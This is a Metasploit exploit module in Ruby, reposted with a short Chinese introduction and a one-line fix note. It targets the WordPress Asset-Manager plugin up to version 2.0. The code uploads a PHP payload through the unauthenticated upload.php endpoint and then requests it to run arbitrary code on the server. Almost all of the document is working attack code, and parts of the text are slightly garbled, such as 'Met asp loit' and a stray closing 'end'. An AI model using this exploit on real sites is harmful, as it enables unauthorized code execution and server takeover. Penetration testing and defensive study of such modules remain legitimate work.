这个模块利用Metasploi脆弱 漏洞 库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
##
# This file is part of the Met asp loit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
plugin. By abusing the upload.php file, a malicious user can upload a file to a
temp directory without authentication, which results in arbitrary code execution.
},
'Author' =>
[
'Sammy FORGIT', # initial discovery
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '82653' ],
[ 'BID', '53809' ],
[ 'EDB', '18993' ],
[ 'URL', 'http:// www.2cto.com /' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ ' Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 26 2012'))
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
], self.class)
end
def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"
payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self=>true)
data = Rex::MIME::Message.new
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
print_status("#{peer} - Uploading payload #{payload_name}")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
if not res or res.code != 200 or res.body !~ /#{payload_name}/
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
end
print_status("#{peer} - Executing payload #{payload_name}")
res = send_request_raw({
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
'method' => 'GET'
})
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
end
end
end 修复：加强身份验证
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